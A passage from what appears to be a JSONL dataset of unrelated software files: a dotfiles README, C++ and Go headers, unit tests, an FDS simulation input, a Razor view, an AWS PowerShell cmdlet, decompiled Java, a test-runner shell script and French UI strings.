powerline-fonts installed along with Hack\nand Fantasque Sans Mono fonts. I use Fantasque Sans Mono for the terminal and Hack\nfor almost everything else.\n\n2. Apply gruvbox color scheme to .Xresources file.\n\n3. Apply i3 config colors. The colors and are located at the end of my i3/config.\n\n4. Install i3blocks. https://github.com/vivien/i3blocks These blocks will not all work the same out of the\n box for everyone. At the least you'll probably need to set your network\n interface because my ethernet and wifi interface will probably be different than yours. (my\n ethernet is 'eno1' and wifi is 'wlp2s0'.) If you don't know what yours is, try typing 'ip link' or 'ifconfig' in the terminal and check the output. If you have trouble with a particular block not displaying, try executing the script directly to see if you may be missing a package. (E.g. ./battery) Now if a 'command not found' error appears, then you need to find out what command was not found, and what package you may need to get that command. Google is your friend here. Lastly, a few of the i3blocks scripts use their own colors by default, overriding your personal preference. I disabled this and included my version of the scripts. The only thing was changed was that the scripts no longer override color settings.\n\n5. I am using prezto's https://github.com/sorin-ionescu/prezto zsh config, it's more lightweight than others that are\n out there and by default looks great with gruvbox.\n\n6. Rofi https://github.com/DaveDavenport/rofi comes with gruvbox theme included all that is necessary is to turn it\n on.\n\n7. Conky. https://github.com/brndnmtthws/conky\nIt is the most ugly code I've seen since 1995. I do not guarantee it will look right for you,\n but it displays fine on my 1366x768 laptop screen. conkyrc is the\n clock/date. conkyrc2 is the process list / disk space and will need some tweaking\n if you do not use 3 partitions, one each for boot home and root.\n\n\n8. Dunst notification theme is nothing fancy but I included it anyways.\n\n9. Make a gruvbox gtk theme. I created a GTK theme to my preferences using oomox. https://github.com/actionless/oomox\nI included pictures of my settings and there is also a config file in this\nrepo.\n\n10. Apply the gtk theme and double check your fonts. I use lxappearance to set\nthe oomox gtk theme along with gtk font. I use 'Hack' font for GTK, i3, and conky.\nFor my terminal I use Fantasque Sans Mono because I feel like\nit's pretty groovy.\n\nNote: I provide links to a lot of the projects here, but it is generally best\nto install them using a package manager from your distro.\n\nAnd that is all.\n"} {"text": "/*=============================================================================\r\n Copyright (c) 2001-2011 Joel de Guzman\r\n\r\n Distributed under the Boost Software License, Version 1.0. (See accompanying \r\n file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\r\n==============================================================================*/\r\n#if !defined(FUSION_SEQUENCE_VIEW_ITERATOR_RANGE_10022005_0610)\r\n#define FUSION_SEQUENCE_VIEW_ITERATOR_RANGE_10022005_0610\r\n\r\n#include <boost/fusion/support/config.hpp>\r\n#include <boost/fusion/view/iterator_range/iterator_range.hpp>\r\n\r\n#endif\r\n"} {"text": "// +build linux,arm64\n\npackage remote\n\nimport \"syscall\"\n\n// linux_arm64 doesn't have syscall.Dup2 which ginkgo uses, so\n// use the nearly identical syscall.Dup3 instead\nfunc syscallDup(oldfd int, newfd int) (err error) {\n\treturn syscall.Dup3(oldfd, newfd, 0)\n}\n"} {"text": "using System.Linq;\nusing NHibernate.Cfg.MappingSchema;\nusing NHibernate.Mapping.ByCode;\nusing NHibernate.Mapping.ByCode.Impl;\nusing NUnit.Framework;\n\nnamespace NHibernate.Test.MappingByCode.MappersTests\n{\n\t[TestFixture]\n\tpublic class ElementMapperTest\n\t{\n\t\t[Test]\n\t\tpublic void WhenSetTypeByICompositeUserTypeThenSetTypeName()\n\t\t{\n\t\t\tvar mapping = new HbmElement();\n\t\t\tvar mapper = new ElementMapper(typeof(object), mapping);\n\n\t\t\tAssert.That(() => mapper.Type<MyCompoType>(), Throws.Nothing);\n\t\t\tAssert.That(mapping.Type.name, Does.Contain(nameof(MyCompoType)));\n\t\t\tAssert.That(mapping.type, Is.Null);\n\t\t}\n\n\t\tprivate class Element\n\t\t{\n\t\t}\n\n\t\t[Test]\n\t\tpublic void CanSetColumnsAndFormulas()\n\t\t{\n\t\t\tvar mapping = new HbmElement();\n\t\t\tIElementMapper mapper = new ElementMapper(typeof(Element), mapping);\n\t\t\tmapper.ColumnsAndFormulas(x => x.Name(\"pizza\"), x => x.Formula(\"risotto\"), x => x.Name(\"pasta\"));\n\n\t\t\tAssert.That(mapping.Items, Has.Length.EqualTo(3));\n\t\t\tAssert.That(mapping.Items[0], Is.TypeOf<HbmColumn>(), \"first\");\n\t\t\tAssert.That(mapping.Items[1], Is.TypeOf<HbmFormula>(), \"second\");\n\t\t\tAssert.That(mapping.Items[2], Is.TypeOf<HbmColumn>(), \"third\");\n\t\t\tAssert.That(((HbmColumn)mapping.Items[0]).name, Is.EqualTo(\"pizza\"));\n\t\t\tAssert.That(((HbmFormula)mapping.Items[1]).Text, Has.Length.EqualTo(1).And.One.EqualTo(\"risotto\"));\n\t\t\tAssert.That(((HbmColumn)mapping.Items[2]).name, Is.EqualTo(\"pasta\"));\n\t\t\tAssert.That(mapping.column, Is.Null, \"column\");\n\t\t\tAssert.That(mapping.formula, Is.Null, \"formula\");\n\t\t}\n\n\t\t[Test]\n\t\tpublic void CanSetMultipleFormulas()\n\t\t{\n\t\t\tvar mapping = new HbmElement();\n\t\t\tIElementMapper mapper = new ElementMapper(typeof(Element), mapping);\n\t\t\tmapper.Formulas(\"formula1\", \"formula2\", \"formula3\");\n\n\t\t\tAssert.That(mapping.formula, Is.Null);\n\t\t\tAssert.That(mapping.Items, Has.Length.EqualTo(3));\n\t\t\tAssert.That(\n\t\t\t\tmapping.Items.Cast<HbmFormula>().Select(f => f.Text.Single()),\n\t\t\t\tIs.EquivalentTo(new[] { \"formula1\", \"formula2\", \"formula3\" }));\n\t\t}\n\t}\n}\n"} {"text": "Ranz and Marshall \"Evaporation from drops - Part II\" Chemical Engineering Progress, 48(4):173-180 (1952)\n\n&HEAD CHID='Ranz_Marshall_Table_3_3' /\n\n&MESH IJK=4,4,4, XB=0,10,0,10,0,10/\n\n&TIME T_END = 100.,DT=0.01/\n&DUMP NFRAMES=500/\n\n&MISC NOISE=F, TMPA = 85, P_INF = 98791.9, HUMIDITY= 0, STRATIFICATION=F, Y_CO2_INFTY=0. /\n\n&RADI RADIATION=F /\n\n&SPEC ID ='WATER VAPOR' /\n\n&PART ID='water_drops', STATIC = .TRUE., SPEC_ID = 'WATER VAPOR', DIAMETER = 560., SAMPLING_FACTOR = 1, MONODISPERSE = .TRUE.,\n MINIMUM_DIAMETER = 5, MAXIMUM_DIAMETER = 2000, INITIAL_TEMPERATURE = 29.4 /\n\n&INIT PART_ID = 'water_drops', XB = 5,5,5,5,5,5, N_PARTICLES= 1,UVW=0,0,-0.188, ID='droplet'/\n\n&VENT MB='XMIN',SURF_ID='OPEN'/\n&VENT MB='XMAX',SURF_ID='OPEN'/\n&VENT MB='YMIN',SURF_ID='OPEN'/\n&VENT MB='YMAX',SURF_ID='OPEN'/\n&VENT MB='ZMIN',SURF_ID='OPEN'/\n&VENT MB='ZMAX',SURF_ID='OPEN'/\n\n\n&DEVC XYZ=5,5,5,QUANTITY='PARTICLE TEMPERATURE', INIT_ID='droplet', ID='T'/\n&DEVC XYZ=5,5,5,QUANTITY='PARTICLE DIAMETER', INIT_ID='droplet', ID='Diameter',SETPOINT=350,TRIP_DIRECTION=-1/\n&DEVC XYZ=5,5,5,QUANTITY='PARTICLE DIAMETER', INIT_ID='droplet', ID='Diameter_t',NO_UPDATE_DEVC_ID='Timer'/\n&DEVC XYZ=5,5,5,QUANTITY='TIME',ID='Timer',SETPOINT=5/\n&DEVC XYZ=5,5,5,QUANTITY='TIME',ID='Timer2',NO_UPDATE_DEVC_ID='Timer'/\n&DEVC QUANTITY='CONTROL VALUE',CTRL_ID='dD2/dt CTRL',ID='dD2/dt',UNITS='m2/s',CONVERSION_FACTOR=1E-12/\n\n&CTRL FUNCTION_TYPE='POWER',INPUT_ID='Diameter','CONSTANT',CONSTANT=2,ID='Dt2'/\n&CTRL FUNCTION_TYPE='POWER',INPUT_ID='Diameter_t','CONSTANT',CONSTANT=2,ID='Dt_t2'/\n&CTRL FUNCTION_TYPE='SUBTRACT',INPUT_ID='Dt_t2','Dt2',ID='numer'/\n&CTRL FUNCTION_TYPE='SUBTRACT',INPUT_ID='Timer','Timer2',ID='denom_1'/\n&CTRL FUNCTION_TYPE='SUM',INPUT_ID='denom_1','CONSTANT',CONSTANT=1E-6,ID='denom'/\n&CTRL FUNCTION_TYPE='DIVIDE',INPUT_ID='numer','denom',ID='dD2/dt CTRL'/\n&CTRL FUNCTION_TYPE='KILL',INPUT_ID='Diameter',ID='kill'/\n\n&TAIL /\n"} {"text": "@using CoiniumServ.Persistance.Blocks\n@inherits Nancy.ViewEngines.Razor.NancyRazorViewBase<CoiniumServ.Server.Web.Models.Pool.BlockModel>\n@{ Layout = \"layout/main.cshtml\"; }\n\n<div class=\"row\">\n <div class=\"col-md-12\">\n <div class=\"box box-solid box-primary\">\n <div class=\"box-header\">\n <h3 class=\"box-title\">Block Details</h3>\n </div>\n <div class=\"box-body no-padding\">\n <table class=\"table table-striped\">\n <tbody>\n <tr>\n <th style=\"width: 10px\" title=\"Height of the block\">Height</th>\n <th title=\"Status of the block\">Status</th>\n <th class=\"hidden-xs\" title=\"Hash of the block\">Block Hash</th>\n <th class=\"hidden-xs\" title=\"Hash of the generation transaction\">Tx Hash</th>\n <th title=\"Amount of coins generated\">Amount</th>\n <th title=\"Did miners got paid for their contributions?\">Paid</th>\n <th title=\"Time block was found\">Date</th>\n </tr>\n <tr>\n <td>@Model.Block.Height</td>\n <td>\n @switch (@Model.Block.Status)\n {\n case BlockStatus.Pending:\n <div class=\"label label-warning\">@Model.Block.Status</div>\n break;\n case BlockStatus.Orphaned:\n <div class=\"label label-danger\">@Model.Block.Status</div>\n break;\n case BlockStatus.Confirmed:\n <div class=\"label label-info\">@Model.Block.Status</div>\n break;\n }\n </td>\n <td class=\"hidden-xs\"><a href=\"@Model.Coin.BlockExplorer.Block@Model.Block.BlockHash\" target=\"_blank\">@Model.Block.BlockHash.Substring(0, 10)</a></td>\n <td class=\"hidden-xs\"><a href=\"@Model.Coin.BlockExplorer.Tx@Model.Block.TransactionHash\" target=\"_blank\">@Model.Block.TransactionHash.Substring(0, 10)</a></td>\n <td>@Model.Block.Amount</td>\n <td><div class=\"label @(Model.Block.Accounted ?\"bg-green\":\"bg-red\")\">@(Model.Block.Accounted ? \"Yes\" : \"No\")</div></td>\n <td><time class=\"timeago\" datetime=\"@Model.Block.CreatedAt.ToString(\"o\")\">@Model.Block.CreatedAt.ToString(\"o\")</time></td>\n </tr>\n </tbody>\n </table>\n </div>\n </div>\n </div>\n</div>\n\n<div class=\"row\">\n <div class=\"col-md-12\">\n <div class=\"box box-solid box-danger\">\n <div class=\"box-header\">\n <h3 class=\"box-title\">Payment Details</h3>\n </div>\n <div class=\"box-body no-padding\">\n @if (Model.Payments.Count == 0)\n {\n <div class=\"box-footer\">\n Waiting for block to get confirmed..\n </div>\n }\n else\n {\n <table class=\"table table-striped\">\n <tbody>\n <tr>\n <th class=\"hidden-xs\" title=\"Id of the payment\">Payment Id</th>\n <th title=\"Payment address of the user\">Address</th>\n <th title=\"Amount of the payment\">Amount</th>\n <th class=\"hidden-xs\" title=\"Is the payment executed?\">Fullfilled</th>\n <th class=\"hidden-xs\" title=\"Id of the transaction\">Tx Id</th>\n <th class=\"hidden-xs\" title=\"Date of the payment\">Date</th>\n </tr>\n @foreach (var paymentDetails in @Model.Payments)\n {\n <tr>\n <td class=\"hidden-xs\"><a href=\"/pool/@Model.Coin.Symbol/payment/@paymentDetails.PaymentId\">@paymentDetails.PaymentId</a></td>\n <td><a href=\"/pool/@Model.Coin.Symbol/account/address/@paymentDetails.Address\">@paymentDetails.Address</a></td>\n <td>\n @if (paymentDetails.Completed)\n {\n @: @paymentDetails.Amount @paymentDetails.Currency\n }\n else\n {\n @: @paymentDetails.Amount @Model.Coin.Symbol\n }\n </td>\n <td class=\"hidden-xs\"><div class=\"label @(paymentDetails.Completed ?\"bg-green\":\"bg-red\")\">@(paymentDetails.Completed ? \"Yes\" : \"No\")</div></td>\n <td class=\"hidden-xs\">\n @if (paymentDetails.Completed)\n {\n <a href=\"/pool/@Model.Coin.Symbol/tx/@paymentDetails.TransactionId\">@paymentDetails.TransactionId</a>\n }\n else\n {\n @:-\n }\n </td>\n <td class=\"hidden-xs\">\n <time class=\"timeago\" datetime=\"@(paymentDetails.Completed ? paymentDetails.TransactionDate.ToString(\"yyyy-MM-ddTHH:mm:ssZ\") : paymentDetails.PaymentDate.ToString(\"yyyy-MM-ddTHH:mm:ssZ\"))\">@(paymentDetails.Completed ? paymentDetails.TransactionDate.ToString(\"yyyy-MM-ddTHH:mm:ssZ\") : paymentDetails.PaymentDate.ToString(\"yyyy-MM-ddTHH:mm:ssZ\"))</time>\n </td>\n </tr>\n }\n </tbody>\n </table>\n }\n </div>\n </div>\n </div>\n</div>\n\n<div class=\"row\">\n <div class=\"col-md-12\">\n <a href=\"/pool/@Model.Coin.Symbol/block/@(Model.Block.Height - 1)\" type=\"button\" class=\"btn btn-default btn-sm\"><i class=\"fa fa-angle-double-left\"></i> Prev</a>\n <a href=\"/pool/@Model.Coin.Symbol/block/@(Model.Block.Height + 1)\" type=\"button\" class=\"btn btn-default btn-sm pull-right\"><i class=\"fa fa-angle-double-right\"></i> Next</a>\n </div>\n</div>"} {"text": "/*******************************************************************************\n * Copyright 2012-2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n * Licensed under the Apache License, Version 2.0 (the \"License\"). You may not use\n * this file except in compliance with the License. A copy of the License is located at\n *\n * http://aws.amazon.com/apache2.0\n *\n * or in the \"license\" file accompanying this file.\n * This file is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\n * CONDITIONS OF ANY KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n * *****************************************************************************\n *\n * AWS Tools for Windows (TM) PowerShell (TM)\n *\n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Management.Automation;\nusing System.Text;\nusing Amazon.PowerShell.Common;\nusing Amazon.Runtime;\nusing Amazon.Neptune;\nusing Amazon.Neptune.Model;\n\nnamespace Amazon.PowerShell.Cmdlets.NPT\n{\n /// <summary>\n /// Deletes a specified DBParameterGroup. The DBParameterGroup to be deleted can't be\n /// associated with any DB instances.\n /// </summary>\n [Cmdlet(\"Remove\", \"NPTDBParameterGroup\", SupportsShouldProcess = true, ConfirmImpact = ConfirmImpact.High)]\n [OutputType(\"None\")]\n [AWSCmdlet(\"Calls the Amazon Neptune DeleteDBParameterGroup API operation.\", Operation = new[] {\"DeleteDBParameterGroup\"}, SelectReturnType = typeof(Amazon.Neptune.Model.DeleteDBParameterGroupResponse))]\n [AWSCmdletOutput(\"None or Amazon.Neptune.Model.DeleteDBParameterGroupResponse\",\n \"This cmdlet does not generate any output.\" +\n \"The service response (type Amazon.Neptune.Model.DeleteDBParameterGroupResponse) can be referenced from properties attached to the cmdlet entry in the $AWSHistory stack.\"\n )]\n public partial class RemoveNPTDBParameterGroupCmdlet : AmazonNeptuneClientCmdlet, IExecutor\n {\n \n #region Parameter DBParameterGroupName\n /// <summary>\n /// <para>\n /// <para>The name of the DB parameter group.</para><para>Constraints:</para><ul><li><para>Must be the name of an existing DB parameter group</para></li><li><para>You can't delete a default DB parameter group</para></li><li><para>Cannot be associated with any DB instances</para></li></ul>\n /// </para>\n /// </summary>\n #if !MODULAR\n [System.Management.Automation.Parameter(Position = 0, ValueFromPipelineByPropertyName = true, ValueFromPipeline = true)]\n #else\n [System.Management.Automation.Parameter(Position = 0, ValueFromPipelineByPropertyName = true, ValueFromPipeline = true, Mandatory = true)]\n [System.Management.Automation.AllowEmptyString]\n [System.Management.Automation.AllowNull]\n #endif\n [Amazon.PowerShell.Common.AWSRequiredParameter]\n public System.String DBParameterGroupName { get; set; }\n #endregion\n \n #region Parameter Select\n /// <summary>\n /// Use the -Select parameter to control the cmdlet output. The cmdlet doesn't have a return value by default.\n /// Specifying -Select '*' will result in the cmdlet returning the whole service response (Amazon.Neptune.Model.DeleteDBParameterGroupResponse).\n /// Specifying -Select '^ParameterName' will result in the cmdlet returning the selected cmdlet parameter value.\n /// </summary>\n [System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]\n public string Select { get; set; } = \"*\";\n #endregion\n \n #region Parameter PassThru\n /// <summary>\n /// Changes the cmdlet behavior to return the value passed to the DBParameterGroupName parameter.\n /// The -PassThru parameter is deprecated, use -Select '^DBParameterGroupName' instead. This parameter will be removed in a future version.\n /// </summary>\n [System.Obsolete(\"The -PassThru parameter is deprecated, use -Select '^DBParameterGroupName' instead. This parameter will be removed in a future version.\")]\n [System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]\n public SwitchParameter PassThru { get; set; }\n #endregion\n \n #region Parameter Force\n /// <summary>\n /// This parameter overrides confirmation prompts to force \n /// the cmdlet to continue its operation. This parameter should always\n /// be used with caution.\n /// </summary>\n [System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]\n public SwitchParameter Force { get; set; }\n #endregion\n \n protected override void ProcessRecord()\n {\n base.ProcessRecord();\n \n var resourceIdentifiersText = FormatParameterValuesForConfirmationMsg(nameof(this.DBParameterGroupName), MyInvocation.BoundParameters);\n if (!ConfirmShouldProceed(this.Force.IsPresent, resourceIdentifiersText, \"Remove-NPTDBParameterGroup (DeleteDBParameterGroup)\"))\n {\n return;\n }\n \n var context = new CmdletContext();\n \n // allow for manipulation of parameters prior to loading into context\n PreExecutionContextLoad(context);\n \n #pragma warning disable CS0618, CS0612 //A class member was marked with the Obsolete attribute\n if (ParameterWasBound(nameof(this.Select)))\n {\n context.Select = CreateSelectDelegate<Amazon.Neptune.Model.DeleteDBParameterGroupResponse, RemoveNPTDBParameterGroupCmdlet>(Select) ??\n throw new System.ArgumentException(\"Invalid value for -Select parameter.\", nameof(this.Select));\n if (this.PassThru.IsPresent)\n {\n throw new System.ArgumentException(\"-PassThru cannot be used when -Select is specified.\", nameof(this.Select));\n }\n }\n else if (this.PassThru.IsPresent)\n {\n context.Select = (response, cmdlet) => this.DBParameterGroupName;\n }\n #pragma warning restore CS0618, CS0612 //A class member was marked with the Obsolete attribute\n context.DBParameterGroupName = this.DBParameterGroupName;\n #if MODULAR\n if (this.DBParameterGroupName == null && ParameterWasBound(nameof(this.DBParameterGroupName)))\n {\n WriteWarning(\"You are passing $null as a value for parameter DBParameterGroupName which is marked as required. In case you believe this parameter was incorrectly marked as required, report this by opening an issue at https://github.com/aws/aws-tools-for-powershell/issues.\");\n }\n #endif\n \n // allow further manipulation of loaded context prior to processing\n PostExecutionContextLoad(context);\n \n var output = Execute(context) as CmdletOutput;\n ProcessOutput(output);\n }\n \n #region IExecutor Members\n \n public object Execute(ExecutorContext context)\n {\n var cmdletContext = context as CmdletContext;\n // create request\n var request = new Amazon.Neptune.Model.DeleteDBParameterGroupRequest();\n \n if (cmdletContext.DBParameterGroupName != null)\n {\n request.DBParameterGroupName = cmdletContext.DBParameterGroupName;\n }\n \n CmdletOutput output;\n \n // issue call\n var client = Client ?? CreateClient(_CurrentCredentials, _RegionEndpoint);\n try\n {\n var response = CallAWSServiceOperation(client, request);\n object pipelineOutput = null;\n pipelineOutput = cmdletContext.Select(response, this);\n output = new CmdletOutput\n {\n PipelineOutput = pipelineOutput,\n ServiceResponse = response\n };\n }\n catch (Exception e)\n {\n output = new CmdletOutput { ErrorResponse = e };\n }\n \n return output;\n }\n \n public ExecutorContext CreateContext()\n {\n return new CmdletContext();\n }\n \n #endregion\n \n #region AWS Service Operation Call\n \n private Amazon.Neptune.Model.DeleteDBParameterGroupResponse CallAWSServiceOperation(IAmazonNeptune client, Amazon.Neptune.Model.DeleteDBParameterGroupRequest request)\n {\n Utils.Common.WriteVerboseEndpointMessage(this, client.Config, \"Amazon Neptune\", \"DeleteDBParameterGroup\");\n try\n {\n #if DESKTOP\n return client.DeleteDBParameterGroup(request);\n #elif CORECLR\n return client.DeleteDBParameterGroupAsync(request).GetAwaiter().GetResult();\n #else\n #error \"Unknown build edition\"\n #endif\n }\n catch (AmazonServiceException exc)\n {\n var webException = exc.InnerException as System.Net.WebException;\n if (webException != null)\n {\n throw new Exception(Utils.Common.FormatNameResolutionFailureMessage(client.Config, webException.Message), webException);\n }\n throw;\n }\n }\n \n #endregion\n \n internal partial class CmdletContext : ExecutorContext\n {\n public System.String DBParameterGroupName { get; set; }\n public System.Func<Amazon.Neptune.Model.DeleteDBParameterGroupResponse, RemoveNPTDBParameterGroupCmdlet, object> Select { get; set; } =\n (response, cmdlet) => null;\n }\n \n }\n}\n"} {"text": "package com.tencent.mm.protocal.b;\n\npublic final class agr\n extends com.tencent.mm.ax.a\n{\n public String aez;\n public String fBO;\n \n protected final int a(int paramInt, Object... paramVarArgs)\n {\n if (paramInt == 0)\n {\n paramVarArgs = (a.a.a.c.a)paramVarArgs[0];\n if (fBO != null) {\n paramVarArgs.e(1, fBO);\n }\n if (aez != null) {\n paramVarArgs.e(2, aez);\n }\n return 0;\n }\n if (paramInt == 1) {\n if (fBO == null) {\n break label234;\n }\n }\n label234:\n for (paramInt = a.a.a.b.b.a.f(1, fBO) + 0;; paramInt = 0)\n {\n int i = paramInt;\n if (aez != null) {\n i = paramInt + a.a.a.b.b.a.f(2, aez);\n }\n return i;\n if (paramInt == 2)\n {\n paramVarArgs = new a.a.a.a.a((byte[])paramVarArgs[0], jrk);\n for (paramInt = com.tencent.mm.ax.a.a(paramVarArgs); paramInt > 0; paramInt = com.tencent.mm.ax.a.a(paramVarArgs)) {\n if (!super.a(paramVarArgs, this, paramInt)) {\n paramVarArgs.bve();\n }\n }\n break;\n }\n if (paramInt == 3)\n {\n a.a.a.a.a locala = (a.a.a.a.a)paramVarArgs[0];\n agr localagr = (agr)paramVarArgs[1];\n switch (((Integer)paramVarArgs[2]).intValue())\n {\n default: \n return -1;\n case 1: \n fBO = mMY.readString();\n return 0;\n }\n aez = mMY.readString();\n return 0;\n }\n return -1;\n }\n }\n}\n\n/* Location:\n * Qualified Name: com.tencent.mm.protocal.b.agr\n * Java Class Version: 6 (50.0)\n * JD-Core Version: 0.7.1\n */"} {"text": "/*\n * Copyright (C) 2015 Apple Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS''\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS\n * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\n * THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n#ifndef JSModuleLoader_h\n#define JSModuleLoader_h\n\n#include <runtime/JSCJSValue.h>\n#include <wtf/Noncopyable.h>\n\nnamespace JSC {\n\nclass ExecState;\nclass JSGlobalObject;\nclass JSInternalPromise;\n\n}\n\nnamespace WebCore {\n\nclass Document;\n\nclass JSModuleLoader {\n WTF_MAKE_NONCOPYABLE(JSModuleLoader); WTF_MAKE_FAST_ALLOCATED;\npublic:\n explicit JSModuleLoader(Document&);\n\n Document& document() { return m_document; }\n\n JSC::JSInternalPromise* resolve(JSC::JSGlobalObject*, JSC::ExecState*, JSC::JSValue moduleName, JSC::JSValue importerModuleKey);\n JSC::JSInternalPromise* fetch(JSC::JSGlobalObject*, JSC::ExecState*, JSC::JSValue moduleKey);\n JSC::JSValue evaluate(JSC::JSGlobalObject*, JSC::ExecState*, JSC::JSValue moduleKey, JSC::JSValue moduleRecord);\n\nprivate:\n Document& m_document;\n};\n\n} // namespace WebCore\n\n#endif // JSModuleLoader_h\n"} {"text": "// Copyright (c) Microsoft Corporation.\r\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\r\n\r\n#include <algorithm>\r\n#include <assert.h>\r\n#include <iterator>\r\n#include <list>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n vector<int> v;\r\n\r\n for (int i = 0; i < 10; ++i) {\r\n v.push_back(i);\r\n }\r\n\r\n {\r\n vector<bool> b;\r\n\r\n transform(v.begin(), v.end(), back_inserter(b), [](int n) { return n < 5; });\r\n\r\n insert_iterator<vector<bool>> init(b, b.begin() + 9);\r\n\r\n *init++ = true;\r\n\r\n vector<bool> correct{true, true, true, true, true, false, false, false, false, true, false};\r\n\r\n assert(b == correct);\r\n }\r\n\r\n {\r\n list<int> l;\r\n\r\n transform(v.begin(), v.end(), back_inserter(l), [](int n) { return n * 10; });\r\n transform(v.begin(), v.end(), front_inserter(l), [](int n) { return n * 100; });\r\n transform(v.begin(), v.end(), inserter(l, next(l.begin(), 5)), [](int n) { return n * 1000; });\r\n\r\n const int c[] = {900, 800, 700, 600, 500, 0, 1000, 2000, 3000, 4000, 5000, 6000, 7000, 8000, 9000, 400, 300,\r\n 200, 100, 0, 0, 10, 20, 30, 40, 50, 60, 70, 80, 90};\r\n\r\n const list<int> correct(begin(c), end(c));\r\n\r\n assert(l == correct);\r\n }\r\n}\r\n"} {"text": "#!/bin/bash\necho \"Running func tests\"\necho \"Starting server\"\n\ntrap 'kill -TERM $SERVER_PID' TERM INT\n./target/universal/stage/bin/scala-pet-store &\n\nSERVER_PID=$!\nPARENT_PID=$$\n\necho \"Waiting for app to start...server pid is $SERVER_PID; parent pid is $PARENT_PID\"\nDATA=\"\"\nRETRY=30\n\nwhile [ $RETRY -gt 0 ]\ndo\n DATA=$(nc -v -z localhost 8080)\n if [ $? -eq 0 ]\n then\n break\n else\n echo \"Retrying Again\" >&2\n\n let RETRY-=1\n sleep 1\n\n if [ $RETRY -eq 0 ]\n then\n echo \"Exceeded retries waiting for app to be ready, failing\"\n exit 1\n fi\n fi\ndone\n\necho \"Server started, running func tests\"\ncd functional_test\npython3 ./run.py live_tests -v\nFUNC_TEST_RESULT=$?\n\necho \"Functional tests completed with status $FUNC_TEST_RESULT, stopping server with PID $SERVER_PID, PPID $PARENT_PID\"\n\nkill $SERVER_PID\nwait $SERVER_PID\ntrap - TERM INT\nwait $SERVER_PID\n# kill -9 $PARENT_PID\n\necho \"DONE!\"\nexit $FUNC_TEST_RESULT\n\n"} {"text": "import { save } from './handler';\n\njest.mock('./fileSaver');\n\ndescribe('handler', () => {\n const { saveFile } = require('./fileSaver');\n const response = {};\n const error = new Error('some error');\n\n const payload = {\n file_url:\n 'https://assets-cdn.github.com/images/modules/open_graph/github-mark.png',\n key: 'github.png',\n };\n const event = { body: JSON.stringify(payload) };\n const context: any = null;\n\n beforeEach(() => {\n jest.clearAllMocks();\n });\n\n test('should call callback on response', async () => {\n saveFile.mockReturnValue(Promise.resolve({ response, error: null }));\n\n const callback = jest.fn();\n\n await save(event, context, callback);\n\n expect(saveFile).toHaveBeenCalledTimes(1);\n expect(saveFile).toHaveBeenCalledWith(JSON.stringify(payload));\n expect(callback).toHaveBeenCalledTimes(1);\n expect(callback).toHaveBeenCalledWith(null, response);\n });\n\n test('should call callback on error', async () => {\n saveFile.mockReturnValue(Promise.resolve({ response, error }));\n\n const callback = jest.fn();\n\n await save(event, context, callback);\n\n expect(saveFile).toHaveBeenCalledTimes(1);\n expect(saveFile).toHaveBeenCalledWith(JSON.stringify(payload));\n expect(callback).toHaveBeenCalledTimes(1);\n expect(callback).toHaveBeenCalledWith(error);\n });\n});\n"} {"text": "# Event 217 - task_0\n###### Version: 0\n\n## Description\nNone\n\n## Data Dictionary\n|Standard Name|Field Name|Type|Description|Sample Value|\n|---|---|---|---|---|\n|TBD|HexInt1|HexInt32|None|`None`|\n|TBD|HexInt2|HexInt32|None|`None`|\n\n## Tags\n* etw_level_Informational\n* etw_task_task_0"} {"text": "#\nborder.chromaticity=Couleur\nborder.copies=Copies\nborder.jobattributes=Attributs de t\\u00e2che\nborder.media=Support\nborder.orientation=Orientation\nborder.printrange=\\u00c9tendue d'impression\nborder.printservice=Service d'impression\nborder.quality=Qualit\\u00e9\nborder.sides=C\\u00f4t\\u00e9s\nborder.margins=Marges\n#\nbutton.cancel=Annuler\nbutton.ok=OK\nbutton.print=Imprimer\nbutton.properties=Propri\\u00e9t\\u00e9s...\nbutton.properties.mnemonic=R\n#\ncheckbox.collate=Interclasser\ncheckbox.collate.mnemonic=L\ncheckbox.jobsheets=Page de garde\ncheckbox.jobsheets.mnemonic=P\ncheckbox.printtofile=Imprimer dans un fichier\ncheckbox.printtofile.mnemonic=F\n#\ndialog.printtitle=Imprimer\ndialog.pstitle=Mise en page\ndialog.overwrite=Ce fichier existe d\\u00e9j\\u00e0. Remplacer le fichier existant ?\ndialog.owtitle=Imprimer dans un fichier\ndialog.printtofile=Imprimer dans un fichier\ndialog.noprintermsg=Service d'impression introuvable\ndialog.writeerror=Impossible d'enregistrer dans le fichier :\n#\nlabel.info=Info :\nlabel.jobname=Nom de t\\u00e2che :\nlabel.jobname.mnemonic=C\nlabel.numcopies=Nombre de copies 